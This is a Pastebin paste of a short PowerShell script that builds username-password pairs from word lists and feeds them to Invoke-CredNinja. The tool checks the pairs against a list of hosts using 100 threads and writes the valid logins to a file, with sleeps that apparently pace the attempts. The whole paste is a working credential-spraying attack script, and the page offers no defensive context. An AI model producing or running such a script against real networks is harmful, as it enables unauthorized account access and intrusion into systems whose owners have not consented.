Advertisement
Guest User

Untitled

a guest
Oct 20th, 2019
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.50 KB | None | 0 0
  1. ps powershell | measure-object -line | out-file Lines.txt
  2. $i = 0
  3. foreach($pass in Get-Content pass.txt){
  4. foreach($user in Get-Content user.txt){
  5. "$user$pass" | Out-File -Append creads.txt
  6. }
  7.  
  8.  
  9. if(($i % 4) -eq 0){
  10. sleep(200)
  11. }
  12. $i +=1
  13. Invoke-CredNinja -Credentials $(gc creads.txt) -Hosts $(gc hosts.txt) -Valid -Users -OS -Output success.txt -Threads 100
  14. del creads.txt
  15. sleep(10)
  16. }
  17.  
  18. $F = 'ps powershell | measure-object -line'
  19. $F | out-file Finish.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement